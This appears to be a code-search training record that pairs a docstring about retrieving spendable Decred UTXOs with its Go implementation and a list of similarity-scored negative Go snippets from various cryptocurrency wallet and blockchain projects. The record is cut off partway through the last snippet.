"0.4857921", "0.48576146", "0.48569265", "0.48544326", "0.48524445", "0.48512816", "0.48492154", "0.4842652" ]
0.72564316
1
Coin is part of the asset.DEXAsset interface, so returns the asset.Coin type. Only spendable utxos with known types of pubkey script will be successfully retrieved. A spendable utxo is one that can be spent in the next block. Every regulartree output from a noncoinbase transaction is spendable immediately. Coinbase and stake tree outputs are only spendable after CoinbaseMaturity confirmations. Pubkey scripts can be P2PKH or P2SH in either regular or staketree flavor. P2PKH supports two alternative signatures, Schnorr and Edwards. Multisig P2SH redeem scripts are supported as well.
func (dcr *DCRBackend) Coin(coinID []byte, redeemScript []byte) (asset.Coin, error) { txHash, vout, err := decodeCoinID(coinID) if err != nil { return nil, fmt.Errorf("error decoding coin ID %x: %v", coinID, err) } return dcr.utxo(txHash, vout, redeemScript) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (dcr *DCRBackend) utxo(txHash *chainhash.Hash, vout uint32, redeemScript []byte) (*UTXO, error) {\n\ttxOut, verboseTx, pkScript, err := dcr.getTxOutInfo(txHash, vout)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinputNfo, err := dexdcr.InputInfo(pkScript, redeemScript, chainParams)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tscriptType := inputNfo.ScriptType\n\n\t// If it's a pay-to-script-hash, extract the script hash and check it against\n\t// the hash of the user-supplied redeem script.\n\tif scriptType.IsP2SH() {\n\t\tscriptHash, err := dexdcr.ExtractScriptHashByType(scriptType, pkScript)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"utxo error: %v\", err)\n\t\t}\n\t\tif !bytes.Equal(dcrutil.Hash160(redeemScript), scriptHash) {\n\t\t\treturn nil, fmt.Errorf(\"script hash check failed for utxo %s,%d\", txHash, vout)\n\t\t}\n\t}\n\n\tblockHeight := uint32(verboseTx.BlockHeight)\n\tvar blockHash chainhash.Hash\n\tvar lastLookup *chainhash.Hash\n\t// UTXO is assumed to be valid while in mempool, so skip the validity check.\n\tif txOut.Confirmations > 0 {\n\t\tif blockHeight == 0 {\n\t\t\treturn nil, fmt.Errorf(\"no raw transaction result found for tx output with \"+\n\t\t\t\t\"non-zero confirmation count (%s has %d confirmations)\", txHash, txOut.Confirmations)\n\t\t}\n\t\tblk, err := dcr.getBlockInfo(verboseTx.BlockHash)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tblockHeight = blk.height\n\t\tblockHash = blk.hash\n\t} else {\n\t\t// Set the lastLookup to the current tip.\n\t\ttipHash := dcr.blockCache.tipHash()\n\t\tif tipHash != zeroHash {\n\t\t\tlastLookup = &tipHash\n\t\t}\n\t}\n\n\t// Coinbase, vote, and revocation transactions all must mature before\n\t// spending.\n\tvar maturity int64\n\tif scriptType.IsStake() || txOut.Coinbase {\n\t\tmaturity = int64(chainParams.CoinbaseMaturity)\n\t}\n\tif txOut.Confirmations < maturity {\n\t\treturn nil, immatureTransactionError\n\t}\n\n\ttx, err := dcr.transaction(txHash, verboseTx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error fetching verbose transaction data: %v\", err)\n\t}\n\n\treturn &UTXO{\n\t\tdcr: dcr,\n\t\ttx: tx,\n\t\theight: blockHeight,\n\t\tblockHash: blockHash,\n\t\tvout: vout,\n\t\tmaturity: int32(maturity),\n\t\tscriptType: scriptType,\n\t\tpkScript: pkScript,\n\t\tredeemScript: redeemScript,\n\t\tnumSigs: inputNfo.ScriptAddrs.NRequired,\n\t\t// The total size associated with the wire.TxIn.\n\t\tspendSize: inputNfo.SigScriptSize + dexdcr.TxInOverhead,\n\t\tvalue: toAtoms(txOut.Value),\n\t\tlastLookup: lastLookup,\n\t}, nil\n}", "func (c *Coinbase) Type() TxType {\n\treturn CoinbaseType\n}", "func (btc *ExchangeWallet) spendableUTXOs(confs uint32) ([]*compositeUTXO, map[string]*compositeUTXO, uint64, error) {\n\tunspents, err := btc.wallet.ListUnspent()\n\tif err != nil {\n\t\treturn nil, nil, 0, err\n\t}\n\tsort.Slice(unspents, func(i, j int) bool { return unspents[i].Amount < unspents[j].Amount })\n\tvar sum uint64\n\tutxos := make([]*compositeUTXO, 0, len(unspents))\n\tutxoMap := make(map[string]*compositeUTXO, len(unspents))\n\tfor _, txout := range unspents {\n\t\tif txout.Confirmations >= confs && txout.Safe {\n\t\t\tnfo, err := dexbtc.InputInfo(txout.ScriptPubKey, txout.RedeemScript, btc.chainParams)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, 0, fmt.Errorf(\"error reading asset info: %v\", err)\n\t\t\t}\n\t\t\ttxHash, err := chainhash.NewHashFromStr(txout.TxID)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, 0, fmt.Errorf(\"error decoding txid in ListUnspentResult: %v\", err)\n\t\t\t}\n\t\t\tutxo := &compositeUTXO{\n\t\t\t\ttxHash: txHash,\n\t\t\t\tvout: txout.Vout,\n\t\t\t\taddress: txout.Address,\n\t\t\t\tredeemScript: txout.RedeemScript,\n\t\t\t\tamount: toSatoshi(txout.Amount),\n\t\t\t\tinput: nfo,\n\t\t\t}\n\t\t\tutxos = append(utxos, utxo)\n\t\t\tutxoMap[outpointID(txout.TxID, txout.Vout)] = utxo\n\t\t\tsum += toSatoshi(txout.Amount)\n\t\t}\n\t}\n\treturn utxos, utxoMap, sum, nil\n}", "func (ci *auditInfo) Coin() asset.Coin {\n\treturn ci.output\n}", "func (ci *auditInfo) Coin() asset.Coin {\n\treturn ci.output\n}", "func (ci *auditInfo) Coin() asset.Coin {\n\treturn ci.output\n}", "func (dcr *ExchangeWallet) spendableUTXOs() ([]*compositeUTXO, error) {\n\tunspents, err := dcr.wallet.Unspents(dcr.ctx, dcr.primaryAcct)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif dcr.tradingAccount != \"\" {\n\t\t// Trading account may contain spendable utxos such as unspent split tx\n\t\t// outputs that are unlocked/returned. TODO: Care should probably be\n\t\t// taken to ensure only unspent split tx outputs are selected and other\n\t\t// unmixed outputs in the trading account are ignored.\n\t\ttradingAcctSpendables, err := dcr.wallet.Unspents(dcr.ctx, dcr.tradingAccount)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tunspents = append(unspents, tradingAcctSpendables...)\n\t}\n\tif len(unspents) == 0 {\n\t\treturn nil, fmt.Errorf(\"insufficient funds. 0 DCR available to spend in account %q\", dcr.primaryAcct)\n\t}\n\n\t// Parse utxos to include script size for spending input. Returned utxos\n\t// will be sorted in ascending order by amount (smallest first).\n\tutxos, err := dcr.parseUTXOs(unspents)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing unspent outputs: %w\", err)\n\t}\n\tif len(utxos) == 0 {\n\t\treturn nil, fmt.Errorf(\"no funds available\")\n\t}\n\treturn utxos, nil\n}", "func (dcr *ExchangeWallet) spendableUTXOs() ([]*compositeUTXO, error) {\n\tunspents, err := dcr.unspents()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(unspents) == 0 {\n\t\treturn nil, fmt.Errorf(\"insufficient funds. 0 DCR available to spend in %q account\", dcr.acct)\n\t}\n\n\t// Parse utxos to include script size for spending input.\n\t// Returned utxos will be sorted in ascending order by amount (smallest first).\n\tutxos, err := dcr.parseUTXOs(unspents)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing unspent outputs: %w\", err)\n\t}\n\tif len(utxos) == 0 {\n\t\treturn nil, fmt.Errorf(\"no funds available\")\n\t}\n\treturn utxos, nil\n}", "func (msg MsgBuyAsset) Type() string { return TypeMsgBuyAsset }", "func GetCoinType(symbol string) (coinType uint32, err error) {\n\tif strings.Compare(strings.ToUpper(symbol), symbol) != 0 {\n\t\t// fmt.Printf(\"symbol has been converted to uppercase. (%s) -> (%s)\", symbol, strings.ToUpper(symbol))\n\t\tsymbol = strings.ToUpper(symbol)\n\t}\n\tcoinType, exist := registeredCoinType[symbol]\n\tif !exist {\n\t\terr = errors.Errorf(\"unregistered coin type: %s\", symbol)\n\t} else {\n\t\tcoinType -= hdkeychain.HardenedKeyStart\n\t}\n\treturn\n}", "func (backend *Backend) Coin(code coinpkg.Code) (coinpkg.Coin, error) {\n\tdefer backend.coinsLock.Lock()()\n\tcoin, ok := backend.coins[code]\n\tif ok {\n\t\treturn coin, nil\n\t}\n\tdbFolder := backend.arguments.CacheDirectoryPath()\n\n\terc20Token := erc20TokenByCode(code)\n\tbtcFormatUnit := backend.config.AppConfig().Backend.BtcUnit\n\tswitch {\n\tcase code == coinpkg.CodeRBTC:\n\t\tservers := backend.defaultElectrumXServers(code)\n\t\tcoin = btc.NewCoin(coinpkg.CodeRBTC, \"Bitcoin Regtest\", \"RBTC\", coinpkg.BtcUnitDefault, &chaincfg.RegressionNetParams, dbFolder, servers, \"\", backend.socksProxy)\n\tcase code == coinpkg.CodeTBTC:\n\t\tservers := backend.defaultElectrumXServers(code)\n\t\tcoin = btc.NewCoin(coinpkg.CodeTBTC, \"Bitcoin Testnet\", \"TBTC\", btcFormatUnit, &chaincfg.TestNet3Params, dbFolder, servers,\n\t\t\t\"https://blockstream.info/testnet/tx/\", backend.socksProxy)\n\tcase code == coinpkg.CodeBTC:\n\t\tservers := backend.defaultElectrumXServers(code)\n\t\tcoin = btc.NewCoin(coinpkg.CodeBTC, \"Bitcoin\", \"BTC\", btcFormatUnit, &chaincfg.MainNetParams, dbFolder, servers,\n\t\t\t\"https://blockstream.info/tx/\", backend.socksProxy)\n\tcase code == coinpkg.CodeTLTC:\n\t\tservers := backend.defaultElectrumXServers(code)\n\t\tcoin = btc.NewCoin(coinpkg.CodeTLTC, \"Litecoin Testnet\", \"TLTC\", coinpkg.BtcUnitDefault, &ltc.TestNet4Params, dbFolder, servers,\n\t\t\t\"https://sochain.com/tx/LTCTEST/\", backend.socksProxy)\n\tcase code == coinpkg.CodeLTC:\n\t\tservers := backend.defaultElectrumXServers(code)\n\t\tcoin = btc.NewCoin(coinpkg.CodeLTC, \"Litecoin\", \"LTC\", coinpkg.BtcUnitDefault, &ltc.MainNetParams, dbFolder, servers,\n\t\t\t\"https://blockchair.com/litecoin/transaction/\", backend.socksProxy)\n\tcase code == coinpkg.CodeETH:\n\t\tetherScan := etherscan.NewEtherScan(\"https://api.etherscan.io/api\", backend.etherScanHTTPClient)\n\t\tcoin = eth.NewCoin(etherScan, code, \"Ethereum\", \"ETH\", \"ETH\", params.MainnetChainConfig,\n\t\t\t\"https://etherscan.io/tx/\",\n\t\t\tetherScan,\n\t\t\tnil)\n\tcase code == coinpkg.CodeGOETH:\n\t\tetherScan := etherscan.NewEtherScan(\"https://api-goerli.etherscan.io/api\", backend.etherScanHTTPClient)\n\t\tcoin = eth.NewCoin(etherScan, code, \"Ethereum Goerli\", \"GOETH\", \"GOETH\", params.GoerliChainConfig,\n\t\t\t\"https://goerli.etherscan.io/tx/\",\n\t\t\tetherScan,\n\t\t\tnil)\n\tcase erc20Token != nil:\n\t\tetherScan := etherscan.NewEtherScan(\"https://api.etherscan.io/api\", backend.etherScanHTTPClient)\n\t\tcoin = eth.NewCoin(etherScan, erc20Token.code, erc20Token.name, erc20Token.unit, \"ETH\", params.MainnetChainConfig,\n\t\t\t\"https://etherscan.io/tx/\",\n\t\t\tetherScan,\n\t\t\terc20Token.token,\n\t\t)\n\tdefault:\n\t\treturn nil, errp.Newf(\"unknown coin code %s\", code)\n\t}\n\tbackend.coins[code] = coin\n\tcoin.Observe(backend.Notify)\n\treturn coin, nil\n}", "func (r *swapReceipt) Coin() asset.Coin {\n\treturn r.output\n}", "func (r *swapReceipt) Coin() asset.Coin {\n\treturn r.output\n}", "func (r *swapReceipt) Coin() asset.Coin {\n\treturn r.output\n}", "func (c BitcoinCoreChain) RawTx(cxt context.Context, from, to, amount, memo, asset string) (string, error) {\n if configure.ChainAssets[asset] != Bitcoin {\n return \"\", fmt.Errorf(\"Unsupport %s in bitcoincore\", asset)\n }\n amountF, err := strconv.ParseFloat(amount, 64)\n if err != nil {\n return \"\", err\n }\n txAmountSatoshi, err := btcutil.NewAmount(amountF)\n if err != nil {\n return \"\", err\n }\n\n fromPkScript, err := BitcoincoreAddressP2AS(from, c.Mode)\n if err != nil {\n return \"\", err\n }\n toPkScript, err := BitcoincoreAddressP2AS(to, c.Mode)\n if err != nil {\n return \"\", err\n }\n\n // query bitcoin chain info\n chaininfo, err := c.Client.GetBlockChainInfo()\n if err != nil {\n return \"\", err\n }\n // feeKB, err := c.Client.EstimateFee(int64(6))\n feeKB, err := c.Client.EstimateSmartFee(int64(6))\n if err != nil {\n return \"\", err\n }\n feeRate := mempool.SatoshiPerByte(feeKB.FeeRate)\n\n if feeKB.FeeRate <= 0 {\n feeRate = mempool.SatoshiPerByte(100)\n }\n\n var (\n selectedutxos, unselectedutxos []db.UTXO\n selectedCoins coinset.Coins\n )\n\n // Coin Select\n if strings.ToLower(configure.ChainsInfo[Bitcoin].Coin) == strings.ToLower(asset) {\n // select coins for BTC transfer\n if selectedutxos, unselectedutxos, selectedCoins, err = CoinSelect(int64(chaininfo.Headers), txAmountSatoshi, c.Wallet.Address.UTXOs); err != nil {\n return \"\", fmt.Errorf(\"Select UTXO for tx %s\", err)\n }\n }else {\n // select coins for Token transfer\n // 300: https://bitcoin.stackexchange.com/questions/1195/how-to-calculate-transaction-size-before-sending-legacy-non-segwit-p2pkh-p2sh\n inputAmount := feeRate.Fee(uint32(300))\n if selectedutxos, unselectedutxos, selectedCoins, err = CoinSelect(int64(chaininfo.Headers), inputAmount, c.Wallet.Address.UTXOs); err != nil {\n return \"\", fmt.Errorf(\"Select UTXO for tx %s\", err)\n }\n }\n\n var vinAmount int64\n for _, coin := range selectedCoins.Coins() {\n vinAmount += int64(coin.Value())\n }\n msgTx := coinset.NewMsgTxWithInputCoins(wire.TxVersion, selectedCoins)\n\n token := configure.ChainsInfo[Bitcoin].Tokens[strings.ToLower(asset)]\n if token != \"\" && strings.ToLower(asset) != strings.ToLower(configure.ChainsInfo[Bitcoin].Coin) {\n // OmniToken transfer\n b := txscript.NewScriptBuilder()\n b.AddOp(txscript.OP_RETURN)\n\n omniVersion := util.Int2byte(uint64(0), 2)\t// omnicore version\n txType := util.Int2byte(uint64(0), 2)\t// omnicore tx type: simple send\n propertyID := configure.ChainsInfo[Bitcoin].Tokens[asset]\n tokenPropertyid, err := strconv.Atoi(propertyID)\n if err != nil {\n return \"\", fmt.Errorf(\"tokenPropertyid to int %s\", err)\n }\n // tokenPropertyid := configure.Config.OmniToken[\"omni_first_token\"].(int)\n tokenIdentifier := util.Int2byte(uint64(tokenPropertyid), 4)\t// omni token identifier\n tokenAmount := util.Int2byte(uint64(txAmountSatoshi), 8)\t// omni token transfer amount\n\n b.AddData([]byte(\"omni\"))\t// transaction maker\n b.AddData(omniVersion)\n b.AddData(txType)\n b.AddData(tokenIdentifier)\n b.AddData(tokenAmount)\n pkScript, err := b.Script()\n if err != nil {\n return \"\", fmt.Errorf(\"Bitcoin Token pkScript %s\", err)\n }\n msgTx.AddTxOut(wire.NewTxOut(0, pkScript))\n txOutReference := wire.NewTxOut(0, toPkScript)\n msgTx.AddTxOut(txOutReference)\n }else {\n // BTC transfer\n txOutTo := wire.NewTxOut(int64(txAmountSatoshi), toPkScript)\n msgTx.AddTxOut(txOutTo)\n\n // recharge\n // 181, 34: https://bitcoin.stackexchange.com/questions/1195/how-to-calculate-transaction-size-before-sending-legacy-non-segwit-p2pkh-p2sh\n fee := feeRate.Fee(uint32(msgTx.SerializeSize() + 181 + 34))\n if (vinAmount - int64(txAmountSatoshi) - int64(fee)) > 0 {\n txOutReCharge := wire.NewTxOut((vinAmount-int64(txAmountSatoshi) - int64(fee)), fromPkScript)\n msgTx.AddTxOut(txOutReCharge)\n }else {\n selectedutxoForFee, _, selectedCoinsForFee, err := CoinSelect(int64(chaininfo.Headers), fee, unselectedutxos)\n if err != nil {\n return \"\", fmt.Errorf(\"Select UTXO for fee %s\", err)\n }\n for _, coin := range selectedCoinsForFee.Coins() {\n vinAmount += int64(coin.Value())\n }\n txOutReCharge := wire.NewTxOut((vinAmount - int64(txAmountSatoshi) - int64(fee)), fromPkScript)\n msgTx.AddTxOut(txOutReCharge)\n selectedutxos = append(selectedutxos, selectedutxoForFee...)\n }\n }\n\n buf := bytes.NewBuffer(make([]byte, 0, msgTx.SerializeSize()))\n msgTx.Serialize(buf)\n rawTxHex := hex.EncodeToString(buf.Bytes())\n c.Wallet.SelectedUTXO = selectedutxos\n return rawTxHex, nil\n}", "func ParseTxType(tx *types.Transaction, statedb *state.StateDB) (types.TxType, int) {\n\tidx, opReturns := 0, 0\n\tfor i, txOut := range tx.Vout {\n\t\tsc := script.NewScriptFromBytes(txOut.ScriptPubKey)\n\t\tif tx.Type != types.UnknownTx {\n\t\t\tswitch sc.PubkType() {\n\t\t\tdefault:\n\t\t\t\ttx.Type = types.ErrorTx\n\t\t\t\treturn types.ErrorTx, 0\n\t\t\tcase script.TokenTransferPubk:\n\t\t\t\tif tx.Type != types.TokenTransferTx {\n\t\t\t\t\treturn types.ErrorTx, 0\n\t\t\t\t}\n\t\t\tcase script.PayToPubk:\n\t\t\t\taddr, err := sc.ExtractAddress()\n\t\t\t\tif err != nil {\n\t\t\t\t\ttx.Type = types.ErrorTx\n\t\t\t\t\treturn types.ErrorTx, 0\n\t\t\t\t}\n\t\t\t\tif statedb != nil && statedb.IsContractAddr(*addr.Hash160()) {\n\t\t\t\t\treturn types.ErrorTx, 0\n\t\t\t\t}\n\t\t\tcase script.PayToPubkCLTV, script.PayToScriptPubk:\n\t\t\tcase script.OpReturnPubk:\n\t\t\t\topReturns++\n\t\t\t\tif opReturns > 1 {\n\t\t\t\t\ttx.Type = types.ErrorTx\n\t\t\t\t\treturn types.ErrorTx, 0\n\t\t\t\t}\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tswitch sc.PubkType() {\n\t\tcase script.PayToPubkCLTV, script.PayToScriptPubk:\n\t\tcase script.PayToPubk:\n\t\t\taddr, err := sc.ExtractAddress()\n\t\t\tif err != nil {\n\t\t\t\ttx.Type = types.ErrorTx\n\t\t\t\treturn types.ErrorTx, 0\n\t\t\t}\n\t\t\tif statedb != nil && statedb.IsContractAddr(*addr.Hash160()) {\n\t\t\t\tidx, tx.Type = i, types.ContractTx\n\t\t\t}\n\t\tcase script.UnknownPubk:\n\t\t\ttx.Type = types.ErrorTx\n\t\t\treturn types.ErrorTx, 0\n\t\tcase script.TokenTransferPubk:\n\t\t\tidx, tx.Type = i, types.TokenTransferTx\n\t\tcase script.TokenIssuePubk:\n\t\t\tidx, tx.Type = i, types.TokenIssueTx\n\t\tcase script.ContractPubk:\n\t\t\tidx, tx.Type = i, types.ContractTx\n\t\tcase script.SplitAddrPubk:\n\t\t\tidx, tx.Type = i, types.SplitTx\n\t\tcase script.OpReturnPubk:\n\t\t\topReturns++\n\t\t\tif opReturns > 1 {\n\t\t\t\ttx.Type = types.ErrorTx\n\t\t\t\treturn types.ErrorTx, 0\n\t\t\t}\n\t\t}\n\t}\n\tif tx.Type == types.UnknownTx {\n\t\tidx, tx.Type = 0, types.PayToPubkTx\n\t}\n\treturn tx.Type, idx\n}", "func (s *Server) GenericSendCoin(gscp GenericSendCoinParams, _ *struct{}) (err error) {\n\t// Get the wallet associated with the id.\n\tgw, err := s.genericWallet(gscp.GWID)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Get the current height of the quorum, for setting the deadline on\n\t// the script input.\n\tinput := state.ScriptInput{\n\t\tWalletID: gw.WalletID,\n\t\tInput: delta.SendCoinInput(gscp.Destination, gscp.Amount),\n\t\tDeadline: s.metadata.Height + state.MaxDeadline,\n\t}\n\terr = delta.SignScriptInput(&input, gw.SecretKey)\n\tif err != nil {\n\t\treturn\n\t}\n\n\ts.broadcast(network.Message{\n\t\tProc: \"Participant.AddScriptInput\",\n\t\tArgs: input,\n\t\tResp: nil,\n\t})\n\treturn\n}", "func (kc *Keychain) Spend(out verify.Verifiable, time uint64) (verify.Verifiable, error) {\n\tswitch out := out.(type) {\n\t// TODO support minting, etc\n\t// case *secp256k1fx.MintOutput:\n\t// \tif able := kc.Match(&out.OutputOwners, time); able {\n\t// \t\treturn &secp256k1fx.Input{\n\t// \t\t\tSigIndices: []uint32{0},\n\t// \t\t}, nil\n\t// \t}\n\t// \treturn nil, errCantSpend\n\tcase *secp256k1fx.TransferOutput:\n\t\tif able := kc.Match(&out.OutputOwners, time); able {\n\t\t\treturn &secp256k1fx.TransferInput{\n\t\t\t\tAmt: out.Amt,\n\t\t\t\tInput: secp256k1fx.Input{\n\t\t\t\t\t// SigIndices is a list of unique ints that define the private keys that are being used to spend the UTXO. Each UTXO has an array of addresses that can spend the UTXO. Each int represents the index in this address array that will sign this transaction. The array must be sorted low to high.\n\t\t\t\t\t// So, this should always be zero since all UTXOs for our wallet will only ever have 1 sig required (as far as avalanche is concerned)\n\t\t\t\t\tSigIndices: []uint32{0},\n\t\t\t\t},\n\t\t\t}, nil\n\t\t}\n\t\treturn nil, errCantSpend\n\t}\n\treturn nil, fmt.Errorf(\"can't spend UTXO because it is unexpected type %T\", out)\n}", "func (m *Order_Payment) GetCoin() string {\n\tif m != nil {\n\t\treturn m.Coin\n\t}\n\treturn \"\"\n}", "func GetUnspentOutputCoins(rpcClient *rpcclient.HttpClient, keyWallet *wallet.KeyWallet) ([]*crypto.OutputCoin, error) {\n\tprivateKey := &keyWallet.KeySet.PrivateKey\n\tpaymentAddressStr := keyWallet.Base58CheckSerialize(wallet.PaymentAddressType)\n\tviewingKeyStr := keyWallet.Base58CheckSerialize(wallet.ReadonlyKeyType)\n\n\toutputCoins, err := GetListOutputCoins(rpcClient, paymentAddressStr, viewingKeyStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tserialNumbers, err := DeriveSerialNumbers(privateKey, outputCoins)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tisExisted, err := CheckExistenceSerialNumber(rpcClient, paymentAddressStr, serialNumbers)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tutxos := make([]*crypto.OutputCoin, 0)\n\tfor i, out := range outputCoins {\n\t\tif !isExisted[i] {\n\t\t\tutxos = append(utxos, out)\n\t\t}\n\t}\n\n\treturn utxos, nil\n}", "func (s SmesherService) Coinbase(context.Context, *empty.Empty) (*pb.CoinbaseResponse, error) {\n\tlog.Info(\"GRPC SmesherService.Coinbase\")\n\n\t_, _, coinbase, _ := s.Mining.MiningStats()\n\taddr, err := types.StringToAddress(coinbase)\n\tif err != nil {\n\t\tlog.Error(\"error converting coinbase: %s\", err)\n\t\treturn nil, status.Errorf(codes.Internal, \"error reading coinbase data\")\n\t}\n\treturn &pb.CoinbaseResponse{AccountId: &pb.AccountId{Address: addr.Bytes()}}, nil\n}", "func (u UTXOSet) FindSpendableOutputs(pubKeyHash []byte, amount int) (int, map[string][]int) {\n\t// contains unspent outputs for every transaction id (key)\n\tunspentOutputs := make(map[string][]int)\n\t// gets all transactions where the outputs are unspent (not used as inputs in other transactions)\n\taccumulated := 0\n\n\tdb := u.BlockChain.Database\n\n\terr := db.View(func(txn *badger.Txn) error {\n\t\topts := badger.DefaultIteratorOptions\n\n\t\tit := txn.NewIterator(opts)\n\t\tdefer it.Close()\n\n\t\tfor it.Seek(utxoPrefix); it.ValidForPrefix(utxoPrefix); it.Next() {\n\t\t\titem := it.Item()\n\t\t\tk := item.Key()\n\t\t\tv, err := item.Value()\n\t\t\tHandle(err)\n\t\t\t// trim prefix and get transaction ID\n\t\t\tk = bytes.TrimPrefix(k, utxoPrefix)\n\t\t\ttxID := hex.EncodeToString(k)\n\t\t\touts := DeserializeOutputs(v)\n\n\t\t\tfor outIdx, out := range outs.Outputs { // iterate through unspent outputs\n\n\t\t\t\t// if output belongs to this public key hash and...\n\t\t\t\t// if accumulated is less than specified amount, keep adding unspent outputs together\n\t\t\t\tif out.IsLockedWithKey(pubKeyHash) && accumulated < amount {\n\t\t\t\t\taccumulated += out.Value\n\t\t\t\t\tunspentOutputs[txID] = append(unspentOutputs[txID], outIdx)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tHandle(err)\n\n\treturn accumulated, unspentOutputs\n}", "func (coin *Coin) Net() *params.ChainConfig { return coin.net }", "func (utxos *UtxoStore) FindSpendableOutputs(pubkeyHash []byte, amount int) (int, map[string][]int) {\n\ttotal := 0\n\tunspent := make(map[string][]int)\n\tdb := utxos.Chain.db\n\tbucket := []byte(utxos.Chain.config.GetDbUtxoBucket())\n\terr := db.View(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(bucket))\n\t\tc := b.Cursor()\n\t\tfor k, v := c.First(); k != nil; k, v = c.Next() {\n\t\t\ttxID := hex.EncodeToString(k)\n\t\t\touts := DeserializeOutputs(v)\n\t\t\tfor outIdx, out := range outs {\n\t\t\t\tif out.CanOutputBeUnlocked(pubkeyHash) && total < amount {\n\t\t\t\t\ttotal += out.Value\n\t\t\t\t\tunspent[txID] = append(unspent[txID], outIdx)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\treturn total, unspent\n}", "func (tx *Transaction) IsCoinbase() bool {\n\treturn len(tx.Inputs) == 1 && len(tx.Inputs[0].ID) == 0 && tx.Inputs[0].Out == -1\n}", "func (tx *Transaction) IsCoinbase() bool {\n\treturn len(tx.Inputs) == 1 && len(tx.Inputs[0].ID) == 0 && tx.Inputs[0].Out == -1\n}", "func (u UTXOSet) FindSpendableOutputs(pubkeyHash []byte, amount int) (int, map[string][]int) {\n\tunspentOutputs := make(map[string][]int)\n\taccumulated := 0\n\tdb := u.BlockChain.db\n\n\terr := db.View(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(utxoBucket))\n\t\tc := b.Cursor()\n\n\t\tfor k, v := c.First(); k != nil; k, v = c.Next() {\n\t\t\ttxID := hex.EncodeToString(k)\n\t\t\touts := DeserializeOutputs(v)\n\n\t\t\tfor outIdx, out := range outs.Outputs {\n\t\t\t\tif out.IsLockedWithKey(pubkeyHash) && accumulated < amount {\n\t\t\t\t\taccumulated += out.Value\n\t\t\t\t\tunspentOutputs[txID] = append(unspentOutputs[txID], outIdx)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn accumulated, unspentOutputs\n}", "func blockOneCoinbasePaysTokens(tx *dcrutil.Tx, params *chaincfg.Params) error {\n\t// Nothing to do when there is no ledger specified.\n\tif len(params.BlockOneLedger) == 0 {\n\t\treturn nil\n\t}\n\n\tif tx.MsgTx().LockTime != 0 {\n\t\tstr := \"block 1 coinbase has invalid locktime\"\n\t\treturn ruleError(ErrBlockOneTx, str)\n\t}\n\n\tif tx.MsgTx().Expiry != wire.NoExpiryValue {\n\t\tstr := \"block 1 coinbase has invalid expiry\"\n\t\treturn ruleError(ErrBlockOneTx, str)\n\t}\n\n\tif tx.MsgTx().TxIn[0].Sequence != wire.MaxTxInSequenceNum {\n\t\tstr := \"block 1 coinbase not finalized\"\n\t\treturn ruleError(ErrBlockOneInputs, str)\n\t}\n\n\tif len(tx.MsgTx().TxOut) == 0 {\n\t\tstr := \"coinbase outputs empty in block 1\"\n\t\treturn ruleError(ErrBlockOneOutputs, str)\n\t}\n\n\tledger := params.BlockOneLedger\n\tif len(ledger) != len(tx.MsgTx().TxOut) {\n\t\tstr := fmt.Sprintf(\"wrong number of outputs in block 1 coinbase; \"+\n\t\t\t\"got %v, expected %v\", len(tx.MsgTx().TxOut), len(ledger))\n\t\treturn ruleError(ErrBlockOneOutputs, str)\n\t}\n\n\t// Check the addresses and output amounts against those in the ledger.\n\tconst consensusScriptVersion = 0\n\tfor i, txOut := range tx.MsgTx().TxOut {\n\t\tledgerEntry := &ledger[i]\n\t\tif txOut.Version != ledgerEntry.ScriptVersion {\n\t\t\tstr := fmt.Sprintf(\"block one output %d script version %d is not %d\",\n\t\t\t\ti, txOut.Version, consensusScriptVersion)\n\t\t\treturn ruleError(ErrBlockOneOutputs, str)\n\t\t}\n\n\t\tif !bytes.Equal(txOut.PkScript, ledgerEntry.Script) {\n\t\t\tstr := fmt.Sprintf(\"block one output %d script %x is not %x\", i,\n\t\t\t\ttxOut.PkScript, ledgerEntry.Script)\n\t\t\treturn ruleError(ErrBlockOneOutputs, str)\n\t\t}\n\n\t\tif txOut.Value != ledgerEntry.Amount {\n\t\t\tstr := fmt.Sprintf(\"block one output %d generates %v instead of \"+\n\t\t\t\t\"required %v\", i, dcrutil.Amount(txOut.Value),\n\t\t\t\tdcrutil.Amount(ledgerEntry.Amount))\n\t\t\treturn ruleError(ErrBlockOneOutputs, str)\n\t\t}\n\t}\n\n\treturn nil\n}", "func (w *MyWallet) CreateTxn(amount types.Currency, addressTo types.UnlockHash) (*types.Transaction, error) {\n\t// Count the funds in our wallet\n\twalletFunds := types.NewCurrency64(0)\n\tfor _, uco := range w.unspentCoinOutputs {\n\t\twalletFunds = walletFunds.Add(uco.Value)\n\t}\n\t// Since this is only for demonstration purposes, lets give a fixed 10 hastings fee\n\tminerfee := types.NewCurrency64(10)\n\n\t// The total funds we will be spending in this transaction\n\trequiredFunds := amount.Add(minerfee)\n\n\t// Verify that we actually have enough funds available in the wallet to complete the transaction\n\tif walletFunds.Cmp(requiredFunds) == -1 {\n\t\treturn nil, ErrInsufficientWalletFunds\n\t}\n\n\t// Create the transaction object\n\ttxn := types.Transaction{\n\t\tVersion: 